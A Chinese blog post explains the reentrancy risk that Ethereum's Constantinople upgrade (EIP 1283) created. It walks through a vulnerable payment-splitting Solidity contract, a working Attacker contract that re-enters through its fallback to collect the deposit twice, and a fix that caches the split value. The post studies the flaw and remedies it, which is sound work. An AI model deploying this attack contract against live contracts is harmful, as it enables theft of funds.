君士坦丁堡分叉引起的安全问题

目录

  • 君士坦丁堡分叉引起的安全问题

    • 一. 什么是君士坦丁堡分叉
    • 二. 一个重入合约
    • 三. 一份尝试攻击的合约
    • 四. 组合调用
      • 分叉之前
      • 分叉之后
      • 调用顺序
    • 五. 如何解决

君士坦丁堡分叉引起的安全问题

一. 什么是君士坦丁堡分叉

君士坦丁堡是最近以太坊的大事,主要做了一下改进

  • EIP 145:由两位以太坊开发人员Alex Beregszaszi 和 Pawel Bylica编写的技术升级,EIP 145详细描述了一种更有效的以太坊信息处理方案,其称为逐位移动(bitwise shifting);
  • EIP 1052:由以太坊core开发人员Nick Johnson和Bylica所撰写,1052提供了一种优化以太坊网络大规模代码执行的方法。
  • EIP 1283:由Johnson撰写,其基于EIP 1087,这一提议主要了引入了一种针对数据存储更改更公平的定价方法,这可以让智能合约开发者受益。
  • EIP 1014:由以太坊创始人Vitalik Buterin亲自创建,此升级的目的是更好地促进基于状态通道和链外(off-chain)交易的扩容解决方案。
  • EIP 1234:由以太坊主要客户端 Parity发布经理 Afri Schoedon所倡导,这也是以太坊此次升级中最具争议的部分,它会使以太坊网络的区块奖励从3ETH减少到2ETH,此外还会延迟难度炸弹12个月的时间。

其中EIP 1283 最重要的改动就是对于修改合约内容更加便宜了,原来修改非0内容的地址需要5000gas,现在只需要200gas.
具体意思就是

//第一次写入
Contract.A=300 //花费20000gas
//第二次写入
Contract.A=500 //花费5000gas,如果是君士坦丁堡分叉以后只有200gas.

这对于DAPP而言肯定是好事,降低了DAPP的成本.但是意外却引入了安全风险.

二. 一个重入合约

一份双方协调分成的合约,简化起见,里面很多安全问题没检查,比如updateSplit应该只能参与双方更新.

//PaymentSharer.sol
pragma solidity ^0.5.0;

contract PaymentSharer {
  mapping(uint => uint) splits;
  mapping(uint => uint) deposits;
  mapping(uint => address payable) first;
  mapping(uint => address payable) second;

  function init(uint id, address payable _first, address payable _second) public {
    require(first[id] == address(0) && second[id] == address(0));
    require(first[id] == address(0) && second[id] == address(0));
    first[id] = _first;
    second[id] = _second;
  }

  function deposit(uint id) public payable {
    deposits[id] += msg.value;
  }

  function updateSplit(uint id, uint split) public {
    require(split <= 100);
    splits[id] = split;
  }

  function splitFunds(uint id) public {
    // Here would be:
    // Signatures that both parties agree with this split

    // Split
    address payable a = first[id];
    address payable b = second[id];
    uint depo = deposits[id];
    deposits[id] = 0;

    a.transfer(depo * splits[id] / 100); //transfer 给2100 gas执行事务
    b.transfer(depo * (100 - splits[id]) / 100);
  }
}

双方协商一致,调用updateSplit,定下各自应得多少比例.然后就可以调用splitFunds,分别拿走各自的ether.
这在君士坦丁堡分叉之前,是非常安全的.

三. 一份尝试攻击的合约

pragma solidity ^0.5.0;

import "./PaymentSharer.sol";

contract Attacker {
  address private victim;
  address payable owner;

  constructor() public {
    owner = msg.sender;
  }

  function attack(address a) external {
    victim = a;
    PaymentSharer x = PaymentSharer(a);
    x.updateSplit(0, 100);
    x.splitFunds(0);
  }

  function () payable external {
    PaymentSharer x = PaymentSharer(victim);
    x.updateSplit(0,0); //修改split,这样下b.transfer就不再是transfer 0,达到双倍收益.
  }
  //从合约中拿走全部ether
  function drain() external {
    owner.transfer(address(this).balance);
  }
}

四. 组合调用

    1. PaymentSharer.init(0,Attacker,anotherAddressOfAttacker)
    1. PaymentSharer.deposit(0) value=1ether
    1. Attacker.attack(PaymentSharer)

最关键的是第三步的调用顺序:
attack-->updateSplit-->attack--->splitFunds(a全得,b没有)--->a.transfer--->Attacker‘s fallback--->updateSplit(a没有,b全得)-->b.transfer

最终a,b(Attacker和anotherAddressOfAttacker)各拿了一份完整的是后入,而不是预想的只有拿走全部.

分叉之前

合约中调用transfer函数的gas是固定的,只能是2300,无法改动. 而Attacker‘s fallback 函数中调用updateSplit, 其中 splits[id] = split;这一句话就会消耗5000gas,因此attack这个Tx会失败.

分叉之后

splits[id] = split;只会消耗gas200,因此有足够的gas来执行updateSplit, 所以a.transfer会成功,然后b.transfer自然也会成功.

调用顺序

五. 如何解决

针对这个问题解决起来非常简单.下面就是一种修正方法.

function splitFunds(uint id) public {
    // Here would be:
    // Signatures that both parties agree with this split

    // Split
    address payable a = first[id];
    address payable b = second[id];
    uint depo = deposits[id];
    deposits[id] = 0;
    uint s=splits[id];
    a.transfer(depo * s / 100); //transfer 给2100 gas执行事务
    b.transfer(depo * (100 - s) / 100);
  }

这样就算是Attacker有了重入的机会,可以执行代码,也不会有任何额外收益. 应该说合约的设计者已经考虑到a.transfer的重入问题,先修改了deposits[id],而不是放在transfer之后,但是仍然百密一疏.

合约一旦发布就无法修改,但是EVM规则却可以通过分叉修改,可以解决以后的问题,但是却不能修复已经发布的合约.

本来参考了一下文章
Constantinople enables new Reentrancy Attack

原文地址:https://www.cnblogs.com/baizx/p/10290049.html

时间: 2024-11-08 17:24:38

君士坦丁堡分叉引起的安全问题的相关文章

以太坊君士坦丁堡:是利好?-千氪

以太坊官方发文提醒硬分叉注意事项:分叉时间预计在1月16日,区块高度在7080000.并强调,此次硬分叉就像Office软件升级一样,会出现一些兼容类的问题,节点需要全部更新升级. 此次更新是无争议的硬分叉更新,不会像BCH那样分叉出现新的币种. "主要是减产,减产才是重点问题."矿工张强在2018年年初,已经清掉了手上所有的以太坊. 分叉在技术上的调整不大,主要是信息处理方法.代码执行.定价方法等.其中异议较大的提案,是将块采矿奖励从3ETH减少至2ETH,以及将难度炸弹延迟12个月

以太坊源码机制:挖矿

狗年吉祥,开工利是,我们继续研究以太坊源码.从本篇文章开始,我们会深入到以太坊核心源码中去,进而分析与研究以太坊的核心技术. 关键字:拜占庭,挖矿,矿工,分叉,源码分析,uncle叔块,agent,worker,事件监听 本文基于go-ethereum 1.7.3-stable源码版本.源码范围主要在miner pkg. miner.start() miner即矿工的意思,矿工要做的工作就是"挖矿",挖矿就是将一系列最新未封装到块中的交易封装到一个新的区块的过程.学习以太坊挖矿之前,我

针对网站漏洞怎么修复区块链漏洞之以太坊

前段时间以太坊升级架构,君士坦丁堡的硬分叉一个升级代号,被爆出含有高危的网站漏洞,该漏洞产生的原因是由于开启了新的协议模式eip1283导致的,也是区块链漏洞当中危害较为严重的,可以让一些交易进行重入,一个转账可以导致写入2次,但该漏洞并不是确实的可以进行重入漏洞.以太坊区块链在发现该漏洞之后,紧急的停止了以太坊的硬分叉升级,并与上个星期五召开了内部会议对其漏洞进行修复,延期对以太坊的硬分叉升级. 区块链当中,以太坊属于比较大的虚拟币,位列于比特币,第二.关于该漏洞的详情我们来分析一下,关于这次

基督教 犹太  新教  东正教 天主教

三.天主教.东正教.基督教(即指基督新教)的主要联系和区别 联系: 1.基督教是一个总称,天主教.东正教.基督新教是三大分支,在我国习惯上称基督新教为基督教. 2.三者都相信耶和华是唯一真神.耶稣基督是救世主. 3.三者都相信原罪,相信基督的死为世人赎了罪. 4.三者都相信世界将有末日,届时所有人将复活,接受神(天主.上帝)的审判. 5.三者都以<圣经>即新约旧约为经典. 区别: 1.历史不同.最初基督教只有一个教会,1054年西部.东部教会分裂,以罗马为中心的西部教会自称“公教”即天主教,以

三体---读书笔记

费米悖论 理论上讲,人类能用100万年的时间飞往银河系各个星球,那么,外星人只要比人类早进化100万年,现在就应该来到地球了. 通俗的说,单单银河系就有数千亿颗恒星,就算其中只有一小部分的恒星拥有产生智慧生命的行星,假设1000万分之一 那么就意味着有数万的智慧生命的存在,但是为什么我们向宇宙的各个角度都没有观察到任何智慧生命的痕迹,他们究竟在哪里?假设宇宙确实有地外文明为什么我们都没有观测到?我们没有观测到是否意味着这个宇宙只有人类文明的存在,宇宙尺度上1后面跟着22个零的庞大数量的恒星里都没

迷你MVVM框架 avalonjs 沉思录 第1节 土耳其开局

#cnblogs_post_body p{ text-indent:2em; margin-top: 1em; } 正如一切传说的开端那样,有一远古巨神开天辟地,然后就是其他半神喧宾夺主.我们对最巨贡献与创建力的远古巨神懵懂不知,却对巫师们的话语津津乐道.这同样也是我们前端的现实. MVVM是来自.NET,另一个遥远的界域.前端,相对于后端,怎么看都是蛮夷之地.JS这个肩负着前端一切交互工作的语言,竟然被视为恶魔,屡屡被屏蔽禁用.些微可用的脚本,变量与函数没有组织地野蛮生长着,直到JAVA的传教

《互联网时代》第三集&#183;能量

这段遗迹,是君士坦丁堡城墙的一部分,它在东方与西方的分界点上,横亘了一千年.曾经绵延二十多公里的墙体上,耸立着九十六座塔楼和三百多座角楼.碉堡,来自基督徒和穆斯林军队的二十四次大规模围攻先后饮恨而去.这座恢弘的不败之城,在1453年迎来了不同寻常的入侵者. 奥斯曼土耳其大军不仅拥有司空见惯的步卒.骑士和战舰,还带来了从来不曾出现过的被称作乌尔班大炮的新式武器.这种青铜大炮长五米,重十七吨,口径七百六十二毫米,所用的花岗岩炮弹重达六百八十公斤. 在彻古今的轰鸣持续了四十八天之后,以东罗马的旗帜屹立

战争的逻辑(6)(印度对英国为何如此重要,拿破仑远征埃及,英国的克里米亚战争都是因为这个)

第三章 印度 印度对于大英帝国来说实在是太过于重要了,以至于被称为“大英帝国皇冠上的明珠”.但其实把印度比作大英帝国的**更为确切,有了印度英国就是男人,就是大英帝国:没了印度英国就没了阳刚之气,就不再是大英帝国了.曾任印度总督的冠松勋爵就说:“没有印度就没有大英帝国(转引自周一良.吴于廑:<世界通史·近代部分>下册,北京:人民出版社,1962年,第262页)”(1).英国政治家帕麦斯顿就认为,”失去印度就意味着英国变成像荷兰或者比利时那样的二流国家(赵军秀:<英国对土耳其海峡政策的演变

互联网时代纪录片观后个人感想

<互联网时代>是中国第一部.甚至乃至于也是全球电视机构第一次全面.系统.深入.客观解析互联网的大型纪录片,它是由时代.浪潮.能量.再构.崛起.迁徙.控制.忧虑.世界.眺望十个部分构成,全面解析了互联网的发展经历以及未来的期望发展. <时代>一集中,将互联网与跨时代的瓦特蒸汽机相媲美,称互联网的发明使之成为一个跨时代的标志. <浪潮>:现时代的产物必将引起新的创业和发展的浪潮.Google和Yahoo!等互联网公司的成功上市,和广阔的市场和发展空间,让人们看到了新的商机,